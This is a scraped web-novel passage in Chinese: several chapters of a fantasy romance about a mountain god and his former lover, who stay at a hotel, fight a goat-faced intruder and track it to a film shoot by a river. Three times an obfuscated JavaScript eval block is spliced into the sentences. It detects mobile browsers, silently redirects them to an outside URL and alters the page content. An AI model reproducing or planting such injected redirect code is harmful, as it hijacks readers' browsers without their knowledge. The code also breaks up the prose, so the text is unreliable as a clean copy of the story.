慧阳市位处空相山境内,全城沿东阳江而建,而这江则实打实的是水神荣承光的地盘。说到荣承光,时妙原只在他小时候同他打过照面,在他印象中这小子除了嘴巴太馋、太粘哥哥之外倒也没有别的陋习。然而时移世易,多年不见,他也不确定荣承光现在到底长成什么样了。 “发什么呆呢?” 时妙原还在走神,荣观真已经办好了入住手续。山神老爷今日特以人身出行,所以才不至于把周围人都吓得魂飞魄散,时妙原好奇过他为何要多此一举,荣观真只模糊地说了一句:有需要而已。 “没,没啥!”时妙原赶忙起身,随荣观真亦步亦趋地走向了电梯。走到一半他没忍住问荣观真:“那什么,你是怎么解决我的身份问题的?” 电梯外墙的屏幕上打着好些花里胡哨的欢迎语,看内容这两天似乎正好有剧组在此下榻。此剧名为《东江祀》,是知名电影导演杜政的又一力作。荣观真扫了屏幕一眼,然后答道:“这个简单。我跟他们说你是我儿子,年龄还没到,办不了身份证。” “啥玩意儿?”时妙原指了指自己,“我?你儿子?你在开玩笑吗,我看起来哪里像小孩了?” 荣观真耸了耸肩:“他们看着觉得像就行。” “你施了幻术是吗?那,那我现在在他们眼中是啥样啊?” 荣观真默不作声,时妙原内心登时警铃大作:“你……” 电梯门叮一声打开,里面已经有了许多乘客。他们中间大多数人面色苍白、黑眼圈极重,看起来下一秒就要昏睡过去一样,只有一对上了年纪的夫妻看起来还算有精神。 其中那位爷爷看到时妙原,立马露出了慈爱的笑容:“哟,这么小就和爸爸出来玩儿啊。” 荣观真点头道:“是啊,孩他妈工作忙,我自己带他来透透气。” “真不容易哎,这娃儿长得可讨人喜欢。”他慈爱地望着时妙原,“小朋友,你今年多大了?认识了多少字呀?十以内乘法会做吗?让我考考你,《静夜思》是谁写的你知不知道?” “他离识字还早呢。”荣观真摆手道,“你别看他古灵精怪的,其实上个月才刚学会叫爹。这不,现在出门还得穿尿不湿。” “那是得多费点心。哎,那小伙子,你爱人是做什么工作的啊?” “幼儿园老师。平时主要就是养养鸟,栽栽树,带孩子唱唱歌娱乐娱乐什么的。” 电梯到站,荣观真揽着时妙原跨步而出,两位老人家当即挥手告别:“要听爸爸的话哦!” 他们到房间门口的时候,侍应生已经将行李都推了过来,荣观真见到他,直接往他口袋里塞了五百块钱。 “谢谢先生!祝您旅途愉快!”侍应生喜不自胜地走了,他临走前,还特意绕回来刮了刮时妙原的鼻子。 “小朋友,我们下次再见哦!” 咔哒。门被轻轻带上了。 侍应生离开之后,偌大的房间里就只剩下了荣观真和时妙原两人。 还有茶几上摆放整齐的儿童乳酪零食棒。 “吃吧。”荣观真笑着对时妙原说,“刚才专门让他们给你准备的。” 窗户微微开着,一阵山风吹来,时妙原整个鸟凌乱不已。 这间套房位于酒店次顶层,上下两层分布有大小共四间卧室。酒店位处山中江畔,居住者足不出户,便可将东阳江滚滚洪流尽收眼底。荣观真踱到落地窗前,他随口评价道:“景色不错。” “嗯?”时妙原立刻警觉:“你能看得见外面的景色?” “是啊,你才发现吗?”荣观真不紧不慢地说,“你从出门到现在对我翻了至少十八个白眼,竖了二十六个中指,还做口型骂了我四句傻逼八次脑残十三次小不死的东西,就在刚才你还念叨说要把我脑袋掰下来拴裤腰带上当球踢,这些我可都记着呢。” “呃……”时妙原浑身冷汗直冒。 “想知道为什么吗?”荣观真冲他勾了勾手指,“你过来我就告诉你。” 时妙原权衡半天,不情不愿地挪到了荣观真面前。 他尚未来得及站定,荣观真突然扣住他的脖子,反身将他压到了窗上。 然后他快速脱掉外套,咔哒一下将皮带解开,干脆利索地整条抽了出来。 啪!皮带在他手中甩出了惊心动魄的破风声。 “你,你干什么?!” 某段沉睡在DNA中的记忆突然被唤起,时妙原几乎是瞬间就炸了毛。他立刻开始疯狂挣扎,只可惜荣观真手劲大得惊人,时妙原逃脱不得,只得在他手下哆哆嗦嗦地求情: “你你你,荣老爷,你,我,你你你你冷静点好不好!老爷啊我错了我再也不跟你顶嘴了你就放过我吧这里虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142667|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有我们两个人但这光天化日的太阳还挂着呢这么激烈的事情咱们要不还是等天黑了再做吧啊啊啊……啊?” 荣观真扬起皮带,在时妙原眼前甩了两下。 时妙原定睛一看,上面竟挂了一整排只有拇指大小的玩偶。 “神像。” 荣观真指着其中一只白衣服的玩偶说。 “红纸。” 他摘下墨镜,为时妙原展示内侧的镜片:“我把它们贴在了这里。” “这两个是亭云居星,旁边是我的白马。” 山神玩偶左右挂着一红一蓝两只毛绒小狮子,一只米白色的皮面小马挂件紧紧地依偎在它们身旁。 荣观真介绍道:“白马不适合出现在城市里,那俩小屁孩一出来玩就犯人来疯,这样对我来说比较好管一点。其实我本来其实不想带他们来的,但他们一听要出来玩就在家里闹翻了天,我实在没辙,就只好全挂裤腰带上了。” 荣观真说着,把玩偶们全部解下来摆到了沙发上。这群小家伙排排坐的样子实在太过可爱,时妙原没忍住戳了戳红狮子的脑门,它立刻露出了一副“你给老子等着”的表情。 看样子,这位应该是关居星。 “别乱摸,小心他半夜爬起来给你来一刀。”荣观真赶在关居星爆发前拍开了时妙原的爪子,“来,我有任务要交代给你。你去把箱子收拾了,衣服摆出来,鞋子袜子全部按颜色配好,然后把马桶刷了浴缸洗一遍再放好热水。以上这些限时十五分钟之内做完,我累了,我要泡澡。” “哈啊?”时妙原简直不敢相信自己的耳朵,“不是,你这是把我当佣人呢吗?!” “你难道不是吗?”荣观真冷笑了一声,“你知不知道在这里一晚得多少钱?你知不知道有多少人跪在我面前想求我指点我都不带搭理的?我请你住豪华酒店,帮你解决身份问题,还大发慈悲让你做我的护法,你不好好感谢我,居然还敢挑三拣四的犯懒?常栖迟,你是不是最近日子过得太好了,都有点忘了自己是谁了啊?” 那也不是我想住的啊,强买强卖是个什么道理?!时妙原恨得咬牙切齿,却自知无力反抗。他瞪了荣观真一眼,然后气鼓鼓地走到玄关,满脸不爽地摆弄起了行李。 荣观真也不知道是准备出来几天,居然带了足足五只行李箱。时妙原打开其中一只箱子,发现里面装的基本都是同款的白西装和灰衬衫。 “这小老头,品味这么固定的吗?”他恨恨地说。 时间紧急,容不得他多抱怨。时妙原赶忙把衣服扯出来挂上,然后把其余暂时用不到的箱子都塞进了储物柜,他还没来得及歇一口气,就听见荣观真扯着嗓子大喊:“快放水!我要泡澡!” 时妙原一路小跑钻进了洗漱间,他正要拧开水阀,荣观真又开始隔空指挥:“我要稍微烫一点的水,可以,但不要太冷,最好也别热过了头,温度差不多不上不下正正好好就行!” 这种和“我要五彩斑斓的黑”一样离谱的要求听得时妙原是怒火中烧,他一边调节水温,一边咬牙切齿地嘟囔道:“我靠,真是越活越过去了,以前明明都是他伺候我的!反了,全都造反了!你给我等着,给老子惹急了我就往里面泡小米椒,我……我辣不死你个龟孙!” “叽里咕噜的,在里头说我什么坏话呢?”荣观真的声音远远传了过来。 时妙原微笑着探出头去:“没什么!我是想问,老爷您等下要不要我搓澡?您想要什么味道的浴盐,洗发水和护发素的比例是多少……呀?” 他话说到一半,硬生生卡在了嗓子眼里。 荣观真已经脱掉了上衣。 26. 空山苍苍(二) 荣观真只穿了一条西裤,他背对着时妙原,身后的肌肉线条整个展露无遗。 他生得身高腿长,比例极佳,可以说是天生的衣架子。荣观真适合很多穿衣风格,穿袍子的,穿褂子的,穿西装的,穿半袖的,穿得厚厚实实的,穿得清凉无比的,穿得人模狗样的,穿得不着四六的。当然,还有什么都不…… 在这一点上,时妙原有着绝对的发言权。 荣观真眼看还要再脱,时妙原赶紧低下了头。 耳畔传来衣物摩擦声,不一会儿,一双小兔耳朵造型的粉色拖鞋出现在了他的视野中。 “在这儿傻站着干什么?”荣观真问,“想和我一起洗啊?” 时妙原紧张地缩了缩脖子。 “瞧你那没出息的样。”荣观真嗤笑道,“你自己忙活去吧,我要洗澡了,记得把我明天要穿的衣服晾起来。” 说着,他砰地关上了浴室门。 时妙原心怀鬼胎地溜回了客厅,除了神像以外,其余几只小玩偶都被倒扣在了沙发上。 他随手拿起红狮子玩偶,才发现这家伙的眼睛瞪得如铜铃一般。时妙原看得心烦,干脆直接把它和蓝狮子一起放到了扫地机器人顶上,还贴心地开了最大档。 一时间,偌大的房间里就只剩下了轴承疯狂旋转的声音。毛绒玩具惨叫声四处游走,白马缩在沙发角落瑟瑟发抖,时妙原捏捏它的屁股,继续投身进了收拾行李的大业之中。 半小时后,荣观真顶着浑身热气踹开了浴室大门。 他披了件浴袍就往沙发上一坐:“给我吹头发。” 时妙原认命地拿起了吹风机。按钮一打开,荣观真便皱眉道:“风太烫了!” “嘶,又太冷了。” “风速调低点,慢慢吹。” “我上个月刚烫的头发,花了我三千块钱呢,小心点别熨直了。” “上点护发精油,涂的时候记得打一下卷卷。” “你轻点儿!别乱抓行吗?拿梳子来啊!” 时妙原忙得如陀螺般旋转,扫地机器人的转速较之则更甚。待到机器人电量终于耗尽,时妙原也好不容易吹干了荣老爷的玉发。 他刚想松一口气,又听见荣观真说:“我要涂护肤品,你到箱子里去给我拿过来。知道哪个是哪个吧?眼霜我要那个棕色罐子的,别拿错了。嗯,嗯……你疯了是不是?哪有不上精华直接涂乳霜的?重来!” 一系列护理做完,时妙原几乎精疲力尽,荣观真则愉快地哼起了小曲儿。 “去吧台拿点喝的来。”他一边玩手机一边说。 时妙原气喘吁吁地问:“要……要喝什么?” “嗯……”荣观真沉思片刻,报菜名似地罗列出了一串长长的清单:“基酒要龙舌兰,再来点柳橙汁和石榴糖浆,冰块加半杯就好,哦,有樱桃也拿两颗。这道酒的名字叫龙舌兰日出,你知道要怎么调吗?” “哦,晓得的!”时妙原干脆利落地把材料混成了一团。荣观真接过成品浅尝了半口,眼珠子差点没直接沤出来。 时妙原拍着他的后背问:“还要吗?” 荣观真立马抬手:“不用了。够了,我要去睡觉了。我睡楼上,一楼的地盘都归你。神像我放下面了,你别想搞小动作。” “吔?你把神像放这里了?”时妙原装模作样地捂住了胸口,“那岂不是我换衣服你也能看得见?” “就你这破身材,你给我钱我也不看。” 荣观真抱着酒杯咚咚咚上楼,时妙原也不管他看不看得见,对着神像翻了个光可鉴人的白眼。 夜彻底深了。 时妙原这里洗洗,那里弄弄,等到他好不容易整理完毕趴到床上,时针已经指向了十一点半钟。 “不行了……感觉要工伤了……” 他把脸埋在枕头里痛苦地喃喃道:“好累啊……这和7x24小时陪领导出差有什么区别……” 好累,真的好累。 和荣观真一起出行,累。 伺候荣观真洗澡吹头,累。 随时准备和他吵架斗嘴,累。 控制住自己脑子里那些乱七八糟的想法,更是累上加累。 其实,若只是光干活打下手的话,时妙原倒不至于感到这么心累。身体上的疲乏倒是其次,精神上的紧张更令他无法可想。 荣观真进浴室前那惊鸿一瞥的画面始终在他的脑子里打转,如果说现在的时妙原在情感上对荣观真还大多属于忌惮的话,他在其余某些事情上还是能做到另当别论的。 说好听点这叫灵肉分离,说得直白些…… 他馋他身子了。 “想什么呢!啊!你这个没出息的家伙!”时妙原气急败坏地甩了自己一耳光,“时妙原啊时妙原,你真的不能再被这老小子迷惑了!想想看你怎么死的,好好回忆一下上辈子你为什么会这么倒霉可以吗?你当初要是没那么好色,别非得去纠缠他不就不会沦落至此了吗!” 是的,时妙原对荣观真属于二见钟情。 第一次见到荣观真的时候,他对他其实没有任何的想法。 儿时的山神老爷长得确实很可爱,但时妙原对小孩子没有任何除了慈爱以外的感情。可后来时光飞逝,荣观真一眨眼就长成了大人,那次鸡飞狗跳的司山海宴开始之前,时妙原一在香界峰上看见荣观真便被迷丢了魂。 想也知道这是人之常情吧!那时的荣观真身段又好,脸蛋又俊,最重要的是他的性格还很不成熟,调戏起来别提有多可乐了。他浇花种树的时候认真严肃,挥剑揍起人来也帅得不行,最要命的是这家伙那时既懵懂又纯情,后来他长大了,变强势了,但在自己面前还是像小狗一样……不行,不能再想了! 没用的东西,没用的东西!时妙原在心里疯狂臭骂自己:好马不吃回头草,好鸟不孵掏窝蛋,你俩已经分了,他是你杀身仇人,他现在没捅死你只是还没确定你是谁!这一切都是荣观真的阴谋!你不许再想七想八了! 时妙原开始给自己洗脑:这是荣观真的阴谋,荣观真绝对是故意要这么让他露出破绽的。 这是荣观真的阴谋…… 荣观真的…… 荣观真…… 荣观真的腹肌。 “啊!!!!”时妙原绝望地把脑袋砸进了被子里。 咚! 屋内猛然传来一声巨响。 咋了? 时妙原麻溜坐了起来。 咚!咚! 他狐疑地摸了摸自己的脑门:“我撞得有那么用力吗?” 咚。 怪声只持续了几秒,很快就消失不见了。 时妙原抬头望去,屋内一片漆黑。声源来自二楼,那应该是荣观真住的房间。 “咋搞的,那小子睡觉撞到脑袋了?” 他思索片刻,还是蹑手蹑脚地下床,光着脚走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142668|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了楼梯边上。 二楼已经没有声音了,方才的异样似乎是他的幻觉。可时妙原自认为从不幻听,而且,他刚才经过沙发的时候发现,荣观真留下的小玩偶们全都排排坐了起来。 要上去看看吗?时妙原站在楼梯下陷入了深思。 去看吧,就好像他对荣观真有多在乎一样。 不去看吧,万一出了什么事他也没法收场。 时妙原内心纠结万分,他脑袋里的恶魔和天使也咿咿呀呀地吵了起来。 “让他撞死!让他死!”恶魔时妙原兴奋得直喷火,“他死了就好了!他死了你不就自由了吗!” “哎呀不可以的妙妙,你不能这个样子的哦!”天使时妙原急得差点没挂住屁帘,“那可是一条命呀,你不能坐视不管,他死了你不还得给他收尸吗?要烂房间里了你还得赔钱,你穷得吊蛋精光,有鸡毛钱可赔呢?” 恶魔举着叉子嚷嚷道:“那就不赔!直接跑路不就好了吗!你直接往林子里一飞,我看谁还能找到你!” “你傻呀?直接跑能行吗!得先把他塞冰柜里冻上,然后再把所有见过你的人全部杀光光!” “啊?那会不会有点极端……” “都给老子闭嘴!” 时妙原低吼一声,抓起小狮子们冲向了楼梯。 “臭小子,白天使唤老子就算了,晚上睡个觉都不得安生!”他气得把地板跺得咚咚直响,“他爸了个蛋的,你最好别是在装,要是啥事儿都没有,老子绝对要先给你补两拳……哇什么东西!” “你干嘛呢?” 时妙原一抬头,荣观真居然已经站在了他的面前。 他的脑门没有开花,身上也没有任何伤口,整个人看起来没有任何异样。 大概是夜里起床比较急,现在的荣观真并没有戴墨镜,他的眼睛颜色还是淡淡的,小兔子拖鞋一左一右的穿反了。 时妙原一见到荣观真,就立马失去了方才放狠话的气势。他有些尴尬地笑问道:“啊!荣老爷,你怎么会在这里呀?” “我花钱订的酒店,想出门溜达还要你同意吗?”荣观真冷冷地问,“倒是你,大半夜不睡觉鬼鬼祟祟的在我房门口干什么呢?” “啊,我……我听见上面有动静,就想来看一看。我想着万一要是出了啥事儿,我也能给您搭把手不是?哈……哈哈哈……” “能有啥事儿?我半夜起床上厕所而已。”荣观真说着打了个哈欠,“我正睡着呢就听见外面叮呤咣啷的,出来一看居然是你小子。你快滚吧,别唧唧歪歪的,看见你就烦。” “哦,哦。好的好的。”时妙原赶忙转身下楼,月光照射出荣观真的倒影,它把他的影子拉得很长。 时妙原突然止住了脚步。 “又怎么了?”背后传来了荣观真不耐烦的声音,“你到底在磨叽什么?你还有话要跟我说吗?” “嗯……荣老爷啊,我,我那什么。”时妙原支支吾吾地说,“我突然想给你看个东西。” “什么?” “看前面!” 时妙原抡圆胳膊,将小狮子们朝荣观真背后扔了过去。荣观真回头瞬间,时妙原迅速跨步上前,凝神聚气一拳将他揍翻到了地上! “这不是能看得见吗?你装你二舅个腿呢!”时妙原骑在“荣观真”身上狂扇了他四五个耳光,“好小子,我看你是活得不耐烦了,居然敢来假扮你山神爷爷!!!” 27. 空山苍苍(三) 砰!头顶巨响隆隆,稠雾如流星般扑向了时妙原的面门。他下意识抬手遮挡,却不料耳边又刮起了凌冽的风——有什么东西贴着他的脸擦了过去。那必然是活物,他感受到了它温腥的呼吸。 “你爸的,敢暗算老子!”时妙原怒吼一声,反手抓向那袭击者:“把我脸刮花了你赔得起吗!” 他扑了个空,与此同时白雾迅速蔓延到了全屋,周围伸手不见五指,四周却时不时传来轻盈的脚步声。那东西非但没跑,甚至还在绕着时妙原来回打转,它的步伐是如此从容,就好似正在仔细地打量眼前人一般。 哒哒哒,那足音空灵清脆,它走到哪里,时妙原便迅速地冲向何方。只是他每次都会扑空,紧接着那声音又会重新出现在背后。就这么你追我赶了几次之后,时妙原站定在了原地。 他不动了,那东西也停止了嬉闹。 一时间,屋内就只剩下了他与它粗重的呼吸声。 “你是谁?”时妙原冷冷地问道,“你是怎么进来的,是谁派你过来的?你是冲荣观真来的吗?” 那东西只是喘息,它并不作声。 “回答我,别逼我动手。”时妙原攥紧了拳头。 他话放得虽狠,但时妙原其实很清楚:他基本上没有太大胜算。他太虚弱了,现存的金羽之力杀伤力十分有限,荣亭云荣居星还被封印在玩偶里,没有荣观真的许可他们也没法出来助他对敌。 如果对方要和他死磕到底的话……说实话,时妙原不确定自己能否全身而退。 他自己的安危倒不成问题,主要是他不确定,荣观真现在情况如何了。 死寂持续足了有五分多钟,直到时妙原已经满头冷汗,直到周身的白雾几乎凝固,他才终于听见了一声轻柔而悠长的悲叹: “久违了,时妙原。” 时妙原浑身一震。 那东西轻笑道:“没想到,我们居然还能有再见面的一天。” 在左边! 时妙原抬手轰出一团火球,火光窜出半米,蓦地被一股莫名力量捏碎在了半途。彻底消散之前它映亮了一小片白雾,就是这点光芒助时妙原看清楚了那东西的脸:蓝眸横瞳,白面长须,瘦面削骨,这完全不是人该有的长相,那绝不是人会有的眼睛! “你……!” 那鬼魅般的面容一闪而过,就在时妙原愣神的当口,楼下突然传来了几声巨响。是阳台玻璃门被砸碎了,又玩声东击西!时妙原暗骂一声,飞身跃下二楼,可那横瞳怪物却早已经逃之夭夭了。 山风灌进屋内,雾气迅速被虹吸到窗外,仅几秒钟时间,房间里就只剩下了时妙原一个人。 玻璃渣片散落满地,它们倒映出了他眼中的茫然,也反射出了玻璃门上如血口般狰狞的大洞。 时妙原愣愣地望着那洞。不知多久之后,他如梦初醒般地拍了拍脑袋:“我靠!忘了那小子还在上面了!” 他慌不择路跑上二楼,快到的时候他几乎是手脚并用地在地上爬,房门没锁,他一脚踹开大门,几乎是同时,卧室里的画面吓得他整个人惊声尖叫了起来。 “荣观真!!!!” 卧室大窗洞开,荣观真浑身上下沾满了鲜血。他额头上有一道巨大的豁口,那一看就是遭钝器击打出来的。 鲜血洇红了被单,还覆住了他的小半张面庞,冷汗将他的头发紧沾在了脸上,时妙原迅速扑到床边,他哆哆嗦嗦地帮荣观真擦净面颊,然后他凝神运气,将仅余的金羽之力全部灌进了他的伤口中。 屋外传来躁动声,估计是小玩偶们在吵闹着要上来,它们应该已经发现了主人情况危急,也有可能是感知到了另一股更令人不安的气息。 可事到如今时妙原已顾不上掩盖身份了,屋内泛起阵阵金光,荣观真头上的伤疤很快便开始恢复,时妙原见状又挤出了几丝力量……很好!血被止住了!但是,荣观真却丝毫没有要醒来的迹象。 “荣观真,荣观真?”时妙原拍了拍他的脸蛋,“你还好吗?你听得见我说话吗?你醒一醒,你快回答我!” 手心的温度逐渐冰冷,荣观真好像下一秒便要彻底停止呼吸了一样,时妙原的大脑一片混乱,虽然他知道区区外伤其不会对山神造成什么损害,虽然他也清楚荣观真若真有什么好歹,那周围的山川绝不会像现在这样平静……但是他还是根本就没有办法接受眼前的画面! 荣观真依旧毫无反应,时妙原把他揽到怀里,扯着他的耳朵不管不顾地大叫了起来:“老荣啊——你快醒醒!老荣?荣观真,你别吓唬我啊我靠!阿真,真真!我的儿啊——你怎么死得这么惨啊——你这死破土堆子你赶紧给我把眼皮睁开,你再敢装睡一下信不信老子把香界宫全拆了改成KTV天天蹦迪!荣老爷,你听见没有!你这死鬼!混蛋!王八蛋!荣观真!你这个……孩他爸!你倒是说句话啊!!!!!” “唔……” 荣观真闷哼一声,缓缓睁开了眼睛。 “发生……发生什么事了……”他迷茫地问。 “你……呼,你刚被入室抢劫了。”时妙原惊魂不定地说,“我没注意让那玩意儿跑掉了,你没见到它吗?你现在感觉怎么样?” “啊?有吗?我,我没注意到……”荣观真痛苦地按住了额头,“嘶……我的头好痛,脑子乱乱的,耳朵也疼……我好像,我好像做了个梦……” “你梦到什么了?是不是梦到有人打你了!”时妙原急切地问,“你看清楚那人的长相没有?你快想想你平时都和谁结了仇吧!” “我……” “哎呀你急死我了,你倒是快说啊!” “老婆……” “啊?”时妙原瞬间傻眼,“你你你……你乱叫什么呢?!” “我不是……我没有乱叫!我是梦见我娶亲……成亲当天走夜路掉河里淹死了……” 荣观真气若游丝地说:“梦里我家里人把我埋了,可我老婆偏不信,非说我跟小三跑了,硬是把我坟扒开了抽我耳光。他一边扇我还一边发毒誓,说我要是再不起来,他就把我家房梁拆了拿去垒厕所……我靠,怎么会有这种人啊!那么小的棺材他非得跟我挤在一起,他甚至,他甚至还在我耳朵边上吹唢呐!” 时妙原迅速松手,荣观真猝不及防后脑勺着地,嗷一下叫出了声来:“你干嘛!” “还问我干嘛?你差点被人做掉了你知不知道!”时妙原指着他的鼻子臭骂道,“还做梦娶老婆呢,就你现在这怂样连驴都不见得能愿意跟你好!我跟你说,刚才有个王八羔子进来给了你一榔头,还变成了你的样子骗我,要不是我会点恢复法术,你现在就已经去见你列祖列宗了!哦,我忘了你没有祖宗。” “是谁敢冒充我?!”荣观真终于清醒,他努力爬了起来,但没撑多久就又重重地倒回了床上。“他,他在哪里?他是谁!他跑到哪里去了!” “从阳台跳出去了,就十分钟前的事情!”时妙原抓着荣观真的领子问,“要不要追?我估计还没有跑远,现在追应该还有戏!” “……追!”荣观真一把抓起了床头柜上的墨镜,“你跟我一起来,记得把下面那三个也都带上!” . . 护法神出位,关亭云与关居星刚获自由便飞一般地蹿了出去。时妙原和荣观真骑着白马,沿偷袭者留下的气息一道追入了深山。 东江酒店建得依山傍水,它前有东阳江,背后便是空相山的东岭。午夜时分四下万籁俱寂,偶有虫儿发出几声啼鸣,也很快就被这几位不速之客打断了节奏。 荣观真等人一路狂追,到一棵老枣树下时关亭云提着刀绕树走了三圈,然后他指着树根说:“你们看!这应该是它的脚印!” 其余人纷纷凑上前来,时妙原与荣观真下马一看,眼前赫然有无数个泥泞的偶蹄足印。 “这是什么动物吗?”荣观真皱眉道,“是鹿?是牛?还是……” 时妙原当即作出了判断:“我觉得应该是羊。我看到它的样子了,那玩意儿横瞳白须,头尖脸长,长得人不像人鬼不像鬼,恐怕是从哪里蹦出来的山羊精。” “山羊精?这不是克喀明珠的特产吗,咱这离那十万八千里,居然还会有这种东西?”关居星的表情难得严肃了起来,“老爷,你对那死犊子还有别的印象吗?” 荣观真摇头道:“没有。说实话,我根本就不知道有人来过我的房间。” 能绕过荣观真的感知潜入他的房间,还成功对他进行了偷袭,这东西的来头想必只大不小。 众人内心皆是凛然,时妙原看荣观真脸色苍白得很,便对他说:“我看再找下去恐怕也是无用功,实在不行咱今天就先回去吧?你且休息着,有我们几个在旁边看守,那家伙应该不会敢再来。” 荣观真摆手道:“我还没有那么脆弱。我只是,呼……我只是头还有点疼。” 白马忧心忡忡地甩了甩尾巴,时妙原立马改口:“那你先上马吧,我给你牵着马,咱们慢慢走。找到天亮实在没有再回去好不好?你刚受过伤,不适合下地跑。” 荣观真犹豫片刻,缓缓点了点头。 远处隐约有江水声传来,山羊的足迹从树下蔓延到了林中。 关亭云和关居星照例在前方开路,时妙原牵着缰绳引白马绕过了无数沟壑。荣观真在马上四处张望,搜寻一无所获,他的神情也变得越来越凝重。 “哎,荣老爷,荣老爷!” “怎么了?”他低头一看,就见时妙原正冲他眨巴眨巴地抛媚眼。 “你眼里进沙子了吗?”他问,“还是说你也想上来?” “不是,不是!那什么,我是突然发现……你觉不觉得这个场景其实有点眼熟?”时妙原神秘兮兮地问,“你就没发现,现在这个画面好像在从前出现过么?” 荣观真愣了一下。 他有些艰难地从嗓子里挤出了一句:“……你指的是?” “就,你看!” 时妙原揽着白马的脖子,贼眉鼠眼地对荣观真比划道:“你想啊,现在我们这儿有四个活口,其中有一匹马,三个随从,还有一位骑在马上的老板,这简直就是西天取经的标准配置啊!” 他说完便嘿嘿大笑,关亭云和关居星听见他这死动静立马飞了回来:“你跟荣老爷嘀咕啥呢!是不是又在拿我俩取乐?!” 时妙原赶忙否认:“没有!我是在和荣老爷说,我们几个看起来好像是从《西游记》剧组出来的一样呢!” “西游记?”两护法异口同声道。 “对呀!你们瞧,荣老爷演唐僧,白马演白马,我和你俩一二三……正好三个!不就是唐长老的高徒了吗?” “唐僧的徒弟……”关亭云突然脸色一变,“那我不要演八戒!” “什么?我也不要!”关居星立马嚷嚷了起来,“亭云,你去当二师兄吧!” “为什么是我?!平时明明是你饭量更大吧?你当!” “我不!你当!” “你当!” “你当!” “吵死了!我当!” 时妙原大手一挥将小孩们分开,一脸狗腿地凑到了荣观真近前:“禀告师父,俺老猪刚才制止了一场窝里斗,请问您可还有甚别的吩咐?需不需要我再去给大师兄和沙师弟一点儿颜色瞧瞧?” 荣观真在墨镜后翻了个白眼:“猪头挪开,你挡着为师的路了。” 时妙原当即退下:“喳。” 一番打闹过后,虽然关亭云和关居星又就谁来当孙悟空吵了起来,但现场的气氛也多少是缓和了些许。 他们越走越深,虫鸣也越来越盛,有好些小型蛇鼠飞窜而过,它们好奇地打量着这师徒四人,大概也是在疑惑为何这西天取经之路会拐道绕至东阳江沿岸。 山羊脚印一路蔓延,到一处断崖边便再没了踪迹。它留下的味道已几不可察,众人正头疼时,猪八戒……时妙原对荣观真说道:“荣老爷,其实我从刚才就想问了,你为什么不试试放元灵出去感应一下呢?咱们这样硬搜,那得找到什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142669|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候啊。” 荣观真摇了摇头:“不到万不得已,我不想这么做。” “为啥?你在你的地盘上,难道还有什么忌惮不成?” “这里虽也属空相山脉,但东阳江边一带主要还是归承光管。”荣观真说,“我要是有什么动静他一定会发现,我不想打草惊……不是,我不想让他有心理负担。” 打草惊蛇?时妙原内心不由咋舌:这哥哥来见弟弟,有必要如此谨慎吗? 他还想再问下去,关居星嗖地钻进了崖边的灌木丛中。几秒后他探出头来,兴奋地喊道:“老爷,前面有人!” “什么?”时妙原赶紧冲了过去,“快让二师兄看看!” 前方隐隐有光,他迫不及待拨开灌木丛,眼前呈现的画面令他呆在了原地。 这是一片砂石浅滩。 江水游荡缓和,滩石湿光荧荧。眼下正值凌晨,河滩上却灯火通明。 四处吆喝不断,有至少上百号人正在热火朝天地工作,各类调度设备与摄影器材遍布江滩之上,其密集与复杂程度直令人眼花缭乱。河边放着一张供桌,那上面有一尊正燃着熏香的香炉。靠断崖处堆着许多木箱,箱子上张贴着的字条标明:这些应该都是《东江祀》剧组的资产。 《东江祀》?时妙原立马联想起了他在酒店看见的那则通告:他们就是最近在这附近拍摄的剧组吗?看样子应该是差不离……可这是不是也太拼了些?这个点连猫头鹰都该睡美容觉了,是哪家导演这么压榨,大半夜要把手下人薅到江边拍戏? 一旁传来脚步声,是荣观真下马走到了他身边。时妙原正想说点什么,抬头一看却发现荣观真的脸色已经阴沉得能滴出水来了。 “咋了,怎么突然这么生气?”时妙原用气声问道,“大师兄和沙师弟又惹事儿了吗?” 关亭云和关居星站在四五米开外的地方,他们的表情都有些复杂。尤其是关居星,两分钟前他还兴奋得跟发现了新大陆似的,现在却跟偷吃十斤小熊软糖后被荣观真当场抓包了一样紧张。 荣观真说:“找到了。” “嗯?你是说那山羊精吗?”时妙原惊讶地问,“它难道就在这个剧组里面?” “不。”荣观真紧盯着江滩说,“我指的不是那个东西。” 那会是谁?时妙原顺荣观真的视线望去,只见有一人正悠闲地坐在折叠椅里读剧本。 他大概就是《东江祀》的主演了,因为周围的工作人员几乎全部都在围着他打转。有人在为他上妆,有人则忙着给他喷发胶。他身穿灰西装和酒红色衬衫,面朝江水而坐,时妙原虽看不到他的正脸,但也能从背影判断出他的模样不会太差。 只可惜这人的脾气似乎不是很好,化妆师一个手抖,他立马不耐烦地喝道:“遥英!” “哎!” 